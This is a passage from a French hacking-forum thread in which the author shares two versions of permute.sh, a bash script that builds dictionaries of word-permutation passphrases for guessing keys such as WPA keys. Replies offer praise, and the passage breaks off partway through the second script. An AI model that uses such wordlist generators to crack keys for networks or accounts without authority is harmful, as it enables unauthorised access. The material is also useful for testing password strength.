	Créer des phrases de 5 mots dans  sortie.txt basé sur les mots de 2 à 8 caractères de dico.txt , aucun fichier de plus de 50 Mio ne sera créé:	
	/media/Perso/Bureau/permute.sh -l 2 -L 8 -w 5 -i dico.txt -o sortie.txt -M 50	
	Créer des phrases de 3 mots dans  sortie.txt basé sur les mots inférieur à 4 caractères de dico.txt :	
	/media/Perso/Bureau/permute.sh  -L 4 -w 3 -i dico.txt -o sortie.txt	
	Créer des phrases de 3 mots dans  123456789.txt basé sur les mots de 1 à 4 caractères de dico.txt :	
	/media/Perso/Bureau/permute.sh  -i dico.txt 

La version 0.3.3 :

#!/bin/bash

#Mainteneur : Yannou90
#
#Logiciel : permute.sh
#
#Version : 0.3.3
#
#Dépendances : bash , sed , grep , bc
#
#Date : 26.01.2013
#
#Description : créer des passphrases de longueurs définis par l'utilisateur en fonction d'un dictionnaire
#
#Ce programme est libre, vous pouvez le redistribuer et/ou le modifier selon les termes
#de la Licence Publique Générale GNU publiée par la Free Software Foundation
#(version 2 ou bien toute autre version ultérieure choisie par vous).
#
#Ce programme est distribué car potentiellement utile, mais SANS AUCUNE GARANTIE,
#ni explicite ni implicite, y compris les garanties de commercialisation ou d'adaptation
# dans un but spécifique. Reportez-vous à la Licence Publique Générale GNU pour plus
#de détails.
#
#Vous devez avoir reçu une copie de la Licence Publique Générale GNU en même temps
#que ce programme ; si ce n'est pas le cas, écrivez à la Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, États-Unis.

######################
## On cree les variables de bases ##
######################

OPT_PASS=$1
SEQ="3"
LONGMIN="1"
LONGMAX="4"
NUM="1"
TIME="$(date +%s)"
NEW="working.txt"
TMP="tmp.txt"
DICO="$TIME.txt"
NBR="1"
FACT="1"
CONV=""
VITESSE="0"
FULL="1"
WDIR=""
MEGA="1048576"
GIGA="1073741824"
TERA="1099511627776"
STOP="1"
REPONSE="n"

#############
## Le menu d'aide ##
#############

function HELP()
{
	echo -e "\
	
	${0##*/} permet la génération de phrases à partir d'un dictionnaire .
	
	Ce projet à pour but de démontrer l'inutilité du force-brute pur .
	
	Dans le cas du force-brute pur toutes les combinaisons d'une clée supposée sont créé pour retrouver la clée d'origine . Malheureusement , ou plutôt heureusement , pour des clées de type hexadecimal , wpa , ou contenant des caractéres minuscule , majuscule , chiffre et spéciaux , une ETERNITEE serait nécessaire pour découvrir la clée .	
	${0##*/} se veut être \"intelligent\" , car basé sur la méconnaissance des usagers . Il utilise un dictionnaire de mot correspondant à une langue et permet la construction de phrases .	
	Cette méthode réduit considérablement le nombre de clée possible : un usager lambda créera des clées mémorisable , souvent basée sur une association de mots et non sur la sécuritée ; exemple : \"Paul et Virginie\" , \"motdepasse\" , .etc ..
	
	Utilisation :
	
	${0##*/} -[!:L:w:i:o:p:d:M:G:T] <ARGUMENT> -v -h -F -y
	
	${0##*/}  -l <LONG_MIN> -L <LONG_MAX> -w <NBR_MOTS> -i <DICO> -o <NOM> -d <DIR> -G 10 -F
	${0##*/} -v -L <LONG_MAX> -w <NBR_MOTS> -i <DICO> -M 5
	${0##*/} -i <DICO> -o <NOM> 
	${0##*/} -h
		
	-l <LONG_MIN>
		Longueur minimal du mot du dictionnaire (LONG_MIN=1 par défaut) .
	-L <LONG_MAX>
		Longueur maximal du mot du dictionnaire (LONG_MAX=4 par défaut) .
	-w <NBR_MOTS>
		Nombre de mots composant la phrase (NBR_MOTS=3 par défaut) .
	-i <DICO>
		Chemin vers le dictionnaire 
	-o <NOM>
		Fichier de sortie (NOM=\"\$(date +%s).txt\") du type 1234567890.txt par défaut , dans le dossier du dictionnaire) .
	-v
		Mode verbeux , plus lent , toutes les combinaisons de 2 à <NBR_MOTS> sont affichées .
	-F 
		Toutes les combinaisons sont conservées , plus d'espace libre nécessaire .
	-d <DIR>
		Dossier de sortie , par défaut celui contenant le dictionnaire .
	-M <POID>
		Limite le fichier de sortie à <POID> Mio , <POID> étant une valeur numérique sans extension , exemple: -M 10 , limitera à 10Mio . Par défaut une limite arbitraire est fixée à 50% de l'espace disponible .
	-G <POID>
		Limite le fichier de sortie à <POID> Gio , <POID> étant une valeur numérique sans extension , exemple : -G 10 , limitera à 10Gio . Par défaut une limite arbitraire est fixée à 50% de l'espace disponible .
	-T <POID>
		Limite le fichier de sortie à <POID> Tio , <POID> étant une valeur numérique sans extension , exemple : -T 10 , limitera à 10Tio . Par défaut une limite arbitraire est fixée à 50% de l'espace disponible .
	-y
		Pas de confirmation , pas d'interraction avec l'utilisateur .
	-h
		Affiche ce message		
		
	Le nombre de mots composants la phrase doit être égal ou inférieur au nombre de mots unique composants le dictionnaire .
	Par exemple pour un dictionnaire composé de 10 mots vous pouvez créer des phrases de 2 à 10 mots .
	Toutes les compositions seront créées sans répétition d'un même mot par phrases .
		
	Attention aux nombres de mots composant le dictionnaire et au choix du nombre de mots par phrase .	
	Exemple , sur un fichier texte composé de 16 mots de 2 à 8 caratères par mots pour un poid de 70 octets , pour composer des phrases de 5 mots :
	
	$0 -l 2 -L 8 -w 5 -i dico.txt
	
	On obtient 16x15x14x13x12 mots = 524160 phrases pour un fichier en sortie de 5x70x15x14x13x12 octets = 11466000 octets = 11197 kio = 10.9 Mio	
	C'est à dire :
	
	1) Nombre de phrases :	
	(nombre de lignes) ! / (nombre de ligne - nombre de mots) ! = nombre de phrases sans répétition d'un même mot par phrases
	
	2) Poid du fichier final :	
	(nombre de mots) x (poid en octets) x (nombre de lignes) ! / ( (nombre de lignes - nombre de mots) ! x (nombre de lignes) ) = poid final	
	Equivalent à :	
	(nombre de mots) x (poid en octets) x (nombre de lignes - 1 ) ! / (nombre de lignes - nombre de mots) ! = poid final en octets / 1024 = poid final en kio / 1024 = poid final en Mio / 1024 = poid final en Gio
	
	Exemple d'utilisation :
	
	Créer des phrases de 5 mots dans  sortie.txt basé sur les mots de 2 à 8 caractères de dico.txt , aucun fichier de plus de 50 Mio ne sera créé:	
	$0 -l 2 -L 8 -w 5 -i dico.txt -o sortie.txt -M 50	
	Créer des phrases de 3 mots dans  sortie.txt basé sur les mots inférieur à 4 caractères de dico.txt :	
	$0  -L 4 -w 3 -i dico.txt -o sortie.txt	
	Créer des phrases de 3 mots dans  123456789.txt basé sur les mots de 1 à 4 caractères de dico.txt :	
	$0  -i dico.txt "
}

################
# Pas de sortie standard #
################

function PERMQUICK()
{
	while read WORD
	do
		if [[ -e "stop.txt" ]]
		then
			return 0
		fi
		if [[ -n "$WORD" ]]
		then
			grep -v -w "$WORD" "$NEW" | sed -e "s/^/$WORD /g"
		fi
	done < "$DICO" > "$TMP"
}

############
# Sortie standard #
############

function PERMTEE()
{
	while read WORD
	do
		if [[ -e "stop.txt" ]]
		then
			return 0
		fi
		if [[ -n "$WORD" ]]
		then
			grep -v -w "$WORD" "$NEW" | sed -e "s/^/$WORD /g"
		fi
	done < "$DICO" | tee -a "$TMP"
}

##########
# Permutation #
##########

function PERMUTE()
{
	while [[ ! "$NUM" = "$SEQ" ]]
	do
		if [[ -e "stop.txt" ]]
		then
			break
		fi
		TMP="PASSE_$NUM.txt"
		echo "WORK=$TMP" > limite.txt
		if [[ "$1" = "0" ]]
		then
			PERMQUICK
		else
			PERMTEE
		fi
		if [[ "$FULL" = "1" ]]
		then
			mv -f  "$TMP"  "$NEW"
		else
			NEW="$TMP"
		fi
		(( NUM++ ))
	done
	if [[ "$FULL" = "1" ]]
	then
		mv -f "$NEW" "$DICO"
	fi
}

###########
## Nettoyage ##
###########

function CLEAN()
{
	rm "$DICO"
	if [[ -d "$WDIR" ]]
	then
		rmdir "$WDIR"
	fi
}

########################
## Limiter le poid des fichiers créés ##
########################

function LIMITE()
{
	if [[ "$PALUS" -gt "$TOTAL" ]]
	then
		return 0
	fi
	while true
	do
		sleep "$TIME"
		. limite.txt
		if [[ "$(stat -c %s "$DIR/$WORK")" -gt "$PAPLUS" ]]
		then
			touch stop.txt
			return 0
		fi
	done
}

###########################################
## Convertion octets -> Kio -> Mio -> Gio -> Tio -> Pio -> Eio -> Zio -> Yio ##
###########################################

function CONVERTION()
{
	COUNT="1024"
	
	for i in K M G T P E Z Y
do
	if [[ "$1" -gt "$COUNT" ]]
	then
		CONV="$(bc<<<"scale=2; $1/$COUNT")"
		echo "Soit $CONV $i"io
		COUNT="$(bc<<<"$COUNT*1024")"
	fi
done
}

################################
## Limiter le poid de sortie à 50% de l'espace libre ##
################################

function BADSETTING()
{
	PAPLUS="$(bc<<<"$LIBRE/2")"
	STOP="0"
	TIME="10"
	echo "Limite arbitraire fixée à $PAPLUS octets"
	CONVERTION "$PAPLUS"
}

################
## On parse les options ##
################

while getopts ":l:L:w:i:o:d:M:G:T:vFyh" OPT_PASS
do
	case "$OPT_PASS" in
	l)
		LONGMIN="$OPTARG";;
	L)
		LONGMAX="$OPTARG";;
	w)
		SEQ="$OPTARG";;
	i)
		ORIGINAL="$OPTARG"
		DIR="${ORIGINAL%/*}";;
	o)
		DICO="$OPTARG";;
	v)
		VITESSE="$OPTARG";;
	F)
		FULL="$OPTARG";;
	d)
		WDIR="$OPTARG"
		mkdir -p "$WDIR"
		DIR="$WDIR";;
	M)
		PAPLUS="$(bc<<<"$OPTARG*$MEGA")"
		TIME="0.1"
		STOP="0";;
	G)
		PAPLUS="$(bc<<<"$OPTARG*$GIGA")"
		TIME="1"
		STOP="0";;
	T)
		PAPLUS="$(bc<<<"$OPTARG*$TERA")"
		TIME="10"
		STOP="0";;
	y)
		REPONSE="y";;
	h)
		HELP
		exit 0;;
	*)
		HELP
		exit 1;;
	esac
done

#################################
## On vérifie qu'un dicionnaire est donné en argument ##
#################################

if [[ ! -e "$ORIGINAL" ]]
then
	HELP
	exit 1
fi

##########################
## On se place dans le dossier de travail ##
##########################

cd "$DIR"

#####################################
## On trie le dictionnaire en fonction de la longeur des mots ##
#####################################

LONGX="$(bc<<<"$LONGMAX +1")"
sed   "/^.\{$LONGMIN\}/!d; /^.\{$LONGX\}/d" "$ORIGINAL" | sort -u > "$DICO"

##################################
## On reccupere le nombre de mots du dictionnaire trié ##
##################################

LIGNE="$(wc -l "$DICO" | cut -d' ' -f1)"
MULTIPLI="$LIGNE"

#############################################################
## Si le nombre de mots par phrases à créer est supérieur au nombre de mot du dictionnaire , on quitte ##
#############################################################

if [[ "$LIGNE" -lt "$SEQ" ]]
then
	echo "Le nombre de mots composants la phrase doit être égal ou inférieur au nombre de mots unique composants le dictionnaire :
	Nombre de lignes du dictionnaire : $LIGNE
	Nombre de mots par phrase :$SEQ "
	exit 1
fi

##########################################################################
## (nombre de lignes) ! / (nombre de ligne - nombre de mots) ! = nombre de phrases sans répétition d'un même mot par phrases ##
##########################################################################

while [[ "$NBR" != "$SEQ" ]]
do
	(( NBR ++ ))
	MULTIPLI="$(bc<<<"$MULTIPLI - 1")"
	FACT="$(bc<<<"$FACT*$MULTIPLI")"
done

################################################################################
## (nombre de mots) x (poid en octets) x (nombre de lignes) ! / ( (nombre de lignes - nombre de mots) ! x (nombre de lignes) ) = poid final ##
################################################################################

PHRASE="$(bc<<<"$LIGNE*$FACT")"
POID="$(stat -c %s "$DICO")"
TOTAL="$(bc<<<"$POID*$FACT*$SEQ")"

##################################################
## On invite l'utilisateur à choisir si oui ou non il souhaite exploser son disque dur :) ##
##################################################

echo "\
Nombre de ligne du dictionnaire : $LIGNE
Longueur minimal des mots : $LONGMIN
Longueur maximal des mots : $LONGMAX
Nombre de mots par phrase : $SEQ
Nombre de phrases à générées : $PHRASE
Poid estimé du fichier de sortie : $TOTAL octets"
CONVERTION "$TOTAL"

LIBRE="$(bc<<<"$(df "$DICO" | grep dev | awk '{ print $4 }')*1024")"

if [[ "$STOP" = "0" ]]
then
	echo "Limité par l'utilisateur à $PAPLUS octets"
	CONVERTION "$PAPLUS"
	if [[ "$PAPLUS"  -gt "$LIBRE" ]]
	then
		echo "La limite imposée est supérieure à l'espace libre disponible !"
		BADSETTING
	fi
else
	if [[ "$TOTAL" -gt "$LIBRE" ]]
	then
		BADSETTING
	fi
fi

if [[ "$REPONSE" = "n" ]]
then
	echo "Souhaitez vous poursuivre ?[y/n]"
	read REPONSE
else
	echo "Exécution sans confirmation"
	sleep 3
fi

##############
## On lance la bête ##
##############

case "$REPONSE" in
	y) 
		cp "$DICO" "$NEW"
		if [[ "$STOP" = "0" ]]
		then
			sleep 1
			LIMITE &
		fi
		PERMUTE "$VITESSE"
		if [[ "$STOP" = "0" ]]
		then
			rm stop.txt limite.txt
		fi;;
	n)
		echo "On quitte"
		CLEAN
		exit 0;;
	*)
		echo "Choix invalide , on quitte ."
		CLEAN
		exit 1;;
esac

PHRASE="$(wc -l "$DICO" | cut -d' ' -f1)"
TOTAL="$(stat -c %s "$DICO")"
echo "\
Fichier de sortie : $DIR/$DICO
Nombre de phrases réellements générées : $PHRASE
Poid exacte du fichier de sortie : $TOTAL octets"

CONVERTION "$TOTAL"
		
exit 0

Hors Ligne

#6 29-01-2013 06:51:50

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : [ BASH SCRIPT ] Brute-force intelligent

Enfin voilà quoi , bon je suis toujours désespérement seul mais je continu !!

Mais nonnnnnnn.... lol
Ta démonstration est tellement implacable qu'elle nous laisse sans voie c'est tout. wink

Hors Ligne

#7 29-01-2013 07:02:36

Squaks
Membre Irremplaçable
Inscription : 18-06-2009
Messages : 974

Re : [ BASH SCRIPT ] Brute-force intelligent

Joli travail ! wink


Sharkoff

Hors Ligne

#8 29-01-2013 07:03:03

Fuji
Membre Irremplaçable
Lieu : Saint Script-sur-Shell
Inscription : 13-12-2010
Messages : 783

Re : [ BASH SCRIPT ] Brute-force intelligent

Beau travail, merci pour le partage Yannou90 et bienvenue au forum smile

Hors Ligne

#9 29-01-2013 11:25:16

Yannou90
Membre Radioactif
Inscription : 26-01-2013
Messages : 74
Site Web

Re : [ BASH SCRIPT ] Brute-force intelligent

HAAA je ne suis plus seul !! roll

Ouf tongue

Dans mon prochain script j'apporte le support de la compression à la volé , c'est à dire que tout est stocké directement compressé , sous le format de son choix ,  et non sous forme de fichier . On gagne à peut près 15x d'espace libre : au lieu d'un fichier de 1 Tio on se retrouve avec une archive de 66 Gio (pour 7z) , cela ralenti d'autant  l'execution du script mais créé un dico de 1 Tera sur une machine ne disposant que de 100 Gio est très interressant !

Sans oublié que mon script permet de "piper" le contenu de cette archive , archive qu'il ne faut surtout pas décompresser !!

Le script  fonctionne déjà  à merveille cool
Je le posterais dans la journée wink

L'exemple suivant utilise mon dictionnaire de travail


Un petit exemple :

Mon dictionnaire fait 1355 lignes , composé des 1355 mots les plus utilisés dans la langue française , mots unique , un par ligne .
Je souhaite créer un dictionnaire de "phrases" composé de 3  mots de 2 à 5 lettres , sans répétition d'un même mot par phrase , au format compressé .
La commande est alors :

permute.sh -i little_dico.txt  -l 2 -L 5 -w 3 -C

Une foi trié le dictionnaire ne contient plus que 512 mots :

La sortie du script :

Nombre de ligne du dictionnaire : 512
Longueur minimal des mots : 2
Longueur maximal des mots : 5
Nombre de mots par phrase : 3
Nombre de phrases à générées : 133432320
Poid estimé du fichier de sortie : 2146123350 octets
Soit 2095823.58 Kio
Soit 2046.70 Mio
Soit 1.99 Gio

Souhaitez vous poursuivre ?[y/n]
y

Fichier de sortie : /media/Perso/Bureau/1359451351_dico.7z
Nombre de phrases réellements générées : 133412452
Poid exacte du fichier de sortie : 142888412 octets
Soit 139539.46 Kio
Soit 136.26 Mio

Çà fait quand même 133.412.452 phrases pour 136.26 Mio
On se rend bien compte du potentiel !

Et maintenant , la cerise sur le gateau , si je vous disait que j'ai trouvé le moyen de compresser jusqu'a 6135 x le poid du dictionnaire cool

Oui oui, 6135 fois  vous avez bien lu !!

Lors de mes test , pour créé le même dictionnaire j'obtien une archive de 341.56 Kio :

- sous forme texte : 2145824235 octets soit 1.99 Gio
- sous forme compressé : 142888412 octets soit 136.26 Mio
- sous forme ultra compressé : 349765 octets soit 341.56 Kio

Et oui on passe de 1.99 Gio à 341.56 Kio soit un rapport de :

2145824235 /  349765 = 6135

Cette fois si on à 133.412.452 phrases (133 millions) pour un poid de 341.56 Kio cool

Ce ne sera pas dans la prochaine version mais celle d'apres .

Je corrige déjà les bugs de la précédentes et ajoute le support de l'archivage ( déjà fonctionnel )  , je peauffine et vous poste çà , puis je vous posterais mon bébé big_smile

Dernière modification par Yannou90 (29-01-2013 11:27:05)

Hors Ligne

#10 29-01-2013 18:29:58

M1ck3y
Administrateur
Lieu : Lost in the darkness
Inscription : 14-02-2008
Messages : 6 354

Re : [ BASH SCRIPT ] Brute-force intelligent

Voila un tool bien sympa, merci wink

Hors Ligne

#11 29-01-2013 19:24:27

Yannou90
Membre Radioactif
Inscription : 26-01-2013
Messages : 74
Site Web

Re : [ BASH SCRIPT ] Brute-force intelligent

MAJ : version 0.3.4

-corrections de quelques bugs(sss) et coquilles(sss)
-réécriture d'une bonne partie du script
-optimisation des fonctions
-divers test ajoutés
-support de la compression ( option -C) permettant de compressé à la volée le fichier créé
-lecture directe des archives ( format 7z , pour le moment) sans décompression

Une bonne mise à jour qui correspond de plus en plus à ce que je cherche , à savoir utiliser un minimum de ressources cpu et d'espace disque
Il est maitenant possible de créé un fichier de phrase plus volumineux que l'espace libre sur le disque .

Attention , ne surtout pas décompresser une archive volumineuse ou tenter de voir son contenu avec une GUI , il est possible que cette archive soit énorme , le script intègre l'option -r pour lire l'archive sans décompression

Je ne saurrais être tenue responsable de tout dommage occasionné à votre systeme d'exploitation

Avec ce mode de compression on préserve jusqu'à 16x l'espace disque utilisé

J'ai également trouvé le moyen de réduire le poid du fichier final de plus de 6135x , oui oui ce n'est pas une blague , la suite au prochain numéros .

Attention également à avoir installé 7z , je n'ai pas fais de vérification pour cela , mais l'incluerais dans la prochaine révision , voilou big_smile

Bref , le "man" :

	permute.sh permet la génération de phrases à partir d'un dictionnaire .
	
	Ce projet à pour but de démontrer l'inutilité du force-brute pur .
	
	Dans le cas du force-brute pur toutes les combinaisons d'une clée supposée sont créé pour retrouver la clée d'origine . Malheureusement , ou plutôt heureusement , pour des clées de type hexadecimal , wpa , ou contenant des caractéres minuscule , majuscule , chiffre et spéciaux , une ETERNITEE serait nécessaire pour découvrir la clée .	
	permute.sh se veut être "intelligent" , car basé sur la méconnaissance des usagers . Il utilise un dictionnaire de mot correspondant à une langue et permet la construction de phrases .	
	Cette méthode réduit considérablement le nombre de clée possible : un usager lambda créera des clées mémorisable , souvent basée sur une association de mots et non sur la sécuritée ; exemple : "Paul et Virginie" , "motdepasse" , .etc ..
	
	Utilisation :
	
	permute.sh -[!:L:w:i:p:d:r:M:G:T] <ARGUMENT> -v -h -F -y -C
	
	permute.sh  -l <LONG_MIN> -L <LONG_MAX> -w <NBR_MOTS> -i <DICO> -d <DIR> -G 10 -F -C
	permute.sh -v -L <LONG_MAX> -w <NBR_MOTS> -i <DICO> -M 5
	permute.sh -i <DICO> 
	permute.sh -r <ARCHIVE>
	permute.sh -h
		
	-l <LONG_MIN>
		Longueur minimal du mot du dictionnaire (LONG_MIN=1 par défaut) .
	-L <LONG_MAX>
		Longueur maximal du mot du dictionnaire (LONG_MAX=4 par défaut) .
	-w <NBR_MOTS>
		Nombre de mots composant la phrase (NBR_MOTS=3 par défaut) .
	-i <DICO>
		Chemin vers le dictionnaire 
	-v
		Mode verbeux , plus lent , toutes les combinaisons de 2 à <NBR_MOTS> sont affichées .
	-F 
		Toutes les combinaisons sont conservées , plus d'espace libre nécessaire .
	-d <DIR>
		Dossier de sortie , par défaut celui contenant le dictionnaire .
	-M <POID>
		Limite le fichier de sortie à <POID> Mio , <POID> étant une valeur numérique sans extension , exemple: -M 10 , limitera à 10Mio . Par défaut une limite arbitraire est fixée à 50% de l'espace disponible .
	-G <POID>
		Limite le fichier de sortie à <POID> Gio , <POID> étant une valeur numérique sans extension , exemple : -G 10 , limitera à 10Gio . Par défaut une limite arbitraire est fixée à 50% de l'espace disponible .
	-T <POID>
		Limite le fichier de sortie à <POID> Tio , <POID> étant une valeur numérique sans extension , exemple : -T 10 , limitera à 10Tio . Par défaut une limite arbitraire est fixée à 50% de l'espace disponible .
	-r <ARCHIVE>
		Permet de lire sur la sortie standard le contenu d'une archive au format 7z créé avec permute.sh
	-y
		Pas de confirmation , pas d'interraction avec l'utilisateur .
	-C
		Mode compression : les données sont directement compressée , le mode verbeux n'est pas compatible .
	-h
		Affiche ce message		
		
	Le nombre de mots composants la phrase doit être égal ou inférieur au nombre de mots unique composants le dictionnaire .
	Par exemple pour un dictionnaire composé de 10 mots vous pouvez créer des phrases de 2 à 10 mots .
	Toutes les compositions seront créées sans répétition d'un même mot par phrases .
		
	Attention aux nombres de mots composant le dictionnaire et au choix du nombre de mots par phrase .	
	Exemple , sur un fichier texte composé de 16 mots de 2 à 8 caratères par mots pour un poid de 70 octets , pour composer des phrases de 5 mots :
	
	/media/Perso/Bureau/permute.sh -l 2 -L 8 -w 5 -i dico.txt
	
	On obtient 16x15x14x13x12 mots = 524160 phrases pour un fichier en sortie de 5x70x15x14x13x12 octets = 11466000 octets = 11197 kio = 10.9 Mio	
	C'est à dire :
	
	1) Nombre de phrases :	
	(nombre de lignes) ! / (nombre de ligne - nombre de mots) ! = nombre de phrases sans répétition d'un même mot par phrases
	
	2) Poid du fichier final :	
	(nombre de mots) x (poid en octets) x (nombre de lignes) ! / ( (nombre de lignes - nombre de mots) ! x (nombre de lignes) ) = poid final	
	Equivalent à :	
	(nombre de mots) x (poid en octets) x (nombre de lignes - 1 ) ! / (nombre de lignes - nombre de mots) ! = poid final en octets / 1024 = poid final en kio / 1024 = poid final en Mio / 1024 = poid final en Gio
	
	Exemple d'utilisation :
	
	Créer des phrases de 5 mots basé sur les mots de 2 à 8 caractères de dico.txt , aucun fichier de plus de 50 Mio ne sera créé , toutes les combinaisons de 1 à 5 mots sont conservées , les fichiers sont compressés au format 7z :	
	/media/Perso/Bureau/permute.sh -l 2 -L 8 -w 5 -i dico.txt -M 50 -C -F
	Créer des phrases de 3 mots basé sur les mots inférieur à 4 caractères de dico.txt , aucunes confirmation n'est nécessaire :	
	/media/Perso/Bureau/permute.sh  -L 4 -w 3 -i dico.txt -y
	Créer des phrases de 3 mots dans  123456789.txt basé sur les mots de 1 à 4 caractères de dico.txt , toutes les combinaisons sont affichées sur la sortie standars :	
	/media/Perso/Bureau/permute.sh  -i dico.txt -v 
	Lire une archive créée avec permute.sh :
	/media/Perso/Bureau/permute.sh  -r 1234567890.7z

Le script :

#!/bin/bash

#Mainteneur : Yannou90
#
#Logiciel : permute.sh
#
#Version : 0.3.4
#
#Dépendances : 7z
#
#Date : 29.01.2013
#
#Description : créer des passphrases de longueurs définis par l'utilisateur en fonction d'un dictionnaire
#
#Ce programme est libre, vous pouvez le redistribuer et/ou le modifier selon les termes
#de la Licence Publique Générale GNU publiée par la Free Software Foundation
#(version 2 ou bien toute autre version ultérieure choisie par vous).
#
#Ce programme est distribué car potentiellement utile, mais SANS AUCUNE GARANTIE,
#ni explicite ni implicite, y compris les garanties de commercialisation ou d'adaptation
# dans un but spécifique. Reportez-vous à la Licence Publique Générale GNU pour plus
#de détails.
#
#Vous devez avoir reçu une copie de la Licence Publique Générale GNU en même temps
#que ce programme ; si ce n'est pas le cas, écrivez à la Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, États-Unis.

######################
## On cree les variables de bases ##
######################

OPT_PASS=$1
SEQ="3"
LONGMIN="1"
LONGMAX="4"
NUM="1"
TIME="$(date +%s)"
NEW="${TIME}_PASSE_1.txt"
TMP="${TIME}_tmp.txt"
DICO="${TIME}_DICO.txt"
STOPTXT="${TIME}_stop.txt"
KPID="$TIME.pid"
TIMING="0.1"
NBR="1"
FACT="1"
CONV=""
VITESSE="0"
FULL="1"
WDIR=""
MEGA="1048576"
GIGA="1073741824"
TERA="1099511627776"
STOP="1"
REPONSE="n"
COMPRESSE="1"


#############
## Le menu d'aide ##
#############

function HELP()
{
	echo -e "\
	
	${0##*/} permet la génération de phrases à partir d'un dictionnaire .
	
	Ce projet à pour but de démontrer l'inutilité du force-brute pur .
	
	Dans le cas du force-brute pur toutes les combinaisons d'une clée supposée sont créé pour retrouver la clée d'origine . Malheureusement , ou plutôt heureusement , pour des clées de type hexadecimal , wpa , ou contenant des caractéres minuscule , majuscule , chiffre et spéciaux , une ETERNITEE serait nécessaire pour découvrir la clée .	
	${0##*/} se veut être \"intelligent\" , car basé sur la méconnaissance des usagers . Il utilise un dictionnaire de mot correspondant à une langue et permet la construction de phrases .	
	Cette méthode réduit considérablement le nombre de clée possible : un usager lambda créera des clées mémorisable , souvent basée sur une association de mots et non sur la sécuritée ; exemple : \"Paul et Virginie\" , \"motdepasse\" , .etc ..
	
	Utilisation :
	
	${0##*/} -[!:L:w:i:p:d:r:M:G:T] <ARGUMENT> -v -h -F -y -C
	
	${0##*/}  -l <LONG_MIN> -L <LONG_MAX> -w <NBR_MOTS> -i <DICO> -d <DIR> -G 10 -F -C
	${0##*/} -v -L <LONG_MAX> -w <NBR_MOTS> -i <DICO> -M 5
	${0##*/} -i <DICO> 
	${0##*/} -r <ARCHIVE>
	${0##*/} -h
		
	-l <LONG_MIN>
		Longueur minimal du mot du dictionnaire (LONG_MIN=1 par défaut) .
	-L <LONG_MAX>
		Longueur maximal du mot du dictionnaire (LONG_MAX=4 par défaut) .
	-w <NBR_MOTS>
		Nombre de mots composant la phrase (NBR_MOTS=3 par défaut) .
	-i <DICO>
		Chemin vers le dictionnaire 
	-v
		Mode verbeux , plus lent , toutes les combinaisons de 2 à <NBR_MOTS> sont affichées .
	-F 
		Toutes les combinaisons sont conservées , plus d'espace libre nécessaire .
	-d <DIR>
		Dossier de sortie , par défaut celui contenant le dictionnaire .
	-M <POID>
		Limite le fichier de sortie à <POID> Mio , <POID> étant une valeur numérique sans extension , exemple: -M 10 , limitera à 10Mio . Par défaut une limite arbitraire est fixée à 50% de l'espace disponible .
	-G <POID>
		Limite le fichier de sortie à <POID> Gio , <POID> étant une valeur numérique sans extension , exemple : -G 10 , limitera à 10Gio . Par défaut une limite arbitraire est fixée à 50% de l'espace disponible .
	-T <POID>
		Limite le fichier de sortie à <POID> Tio , <POID> étant une valeur numérique sans extension , exemple : -T 10 , limitera à 10Tio . Par défaut une limite arbitraire est fixée à 50% de l'espace disponible .
	-r <ARCHIVE>
		Permet de lire sur la sortie standard le contenu d'une archive au format 7z créé avec ${0##*/}
	-y
		Pas de confirmation , pas d'interraction avec l'utilisateur .
	-C
		Mode compression : les données sont directement compressée , le mode verbeux n'est pas compatible .
	-h
		Affiche ce message		
		
	Le nombre de mots composants la phrase doit être égal ou inférieur au nombre de mots unique composants le dictionnaire .
	Par exemple pour un dictionnaire composé de 10 mots vous pouvez créer des phrases de 2 à 10 mots .
	Toutes les compositions seront créées sans répétition d'un même mot par phrases .
		
	Attention aux nombres de mots composant le dictionnaire et au choix du nombre de mots par phrase .	
	Exemple , sur un fichier texte composé de 16 mots de 2 à 8 caratères par mots pour un poid de 70 octets , pour composer des phrases de 5 mots :
	
	$0 -l 2 -L 8 -w 5 -i dico.txt
	
	On obtient 16x15x14x13x12 mots = 524160 phrases pour un fichier en sortie de 5x70x15x14x13x12 octets = 11466000 octets = 11197 kio = 10.9 Mio	
	C'est à dire :
	
	1) Nombre de phrases :	
	(nombre de lignes) ! / (nombre de ligne - nombre de mots) ! = nombre de phrases sans répétition d'un même mot par phrases
	
	2) Poid du fichier final :	
	(nombre de mots) x (poid en octets) x (nombre de lignes) ! / ( (nombre de lignes - nombre de mots) ! x (nombre de lignes) ) = poid final	
	Equivalent à :	
	(nombre de mots) x (poid en octets) x (nombre de lignes - 1 ) ! / (nombre de lignes - nombre de mots) ! = poid final en octets / 1024 = poid final en kio / 1024 = poid final en Mio / 1024 = poid final en Gio
	
	Exemple d'utilisation :
	
	Créer des phrases de 5 mots basé sur les mots de 2 à 8 caractères de dico.txt , aucun fichier de plus de 50 Mio ne sera créé , toutes les combinaisons de 1 à 5 mots sont conservées , les fichiers sont compressés au format 7z :	
	$0 -l 2 -L 8 -w 5 -i dico.txt -M 50 -C -F
	Créer des phrases de 3 mots basé sur les mots inférieur à 4 caractères de dico.txt , aucunes confirmation n'est nécessaire :	
	$0  -L 4 -w 3 -i dico.txt -y
	Créer des phrases de 3 mots dans  123456789.txt basé sur les mots de 1 à 4 caractères de dico.txt , toutes les combinaisons sont affichées sur la sortie standars :	
	$0  -i dico.txt -v 
	Lire une archive créée avec ${0##*/} :
	$0  -r 1234567890.7z"
}

##################
## Pas de sortie standard ##
##################

function PERMQUICK()
{
	TMP="${TIME}_PASSE_${PASSE}.txt"
	
	while read WORD
	do
		if [[ -e "$STOPTXT" ]]
		then
			break
		fi
		if [[ -n "$WORD" ]]
		then
			grep -v -w "$WORD" "$NEW" | sed -e "s/^/$WORD /g" &
			PID="$!"
			echo -e "WORK=\"$TMP\"\nPID=\"$PID\"" > "$KPID"
			wait "$PID" &>/dev/null
		fi
	done < "$DICO" > "$TMP"
}

##############
## Sortie standard ##
##############

function PERMTEE()
{
	TMP="${TIME}_PASSE_${PASSE}.txt"
	
	while read WORD
	do
		if [[ -e "$STOPTXT" ]]
		then
			break
		fi
		if [[ -n "$WORD" ]]
		then
			grep -v -w "$WORD" "$NEW" | sed -e "s/^/$WORD /g" &
			PID="$!"
			echo -e "WORK=\"$TMP\"\nPID=\"$PID\"" > "$KPID"
			wait "$PID" &>/dev/null
		fi
	done < "$DICO" | tee -a "$TMP"
}

############
## Compression ##
############

function PERMX()
{	
	TMP="${TIME}_PASSE_${PASSE}.7z"
	
	while read WORD
	do
		if [[ -e "$STOPTXT" ]]
		then
			break
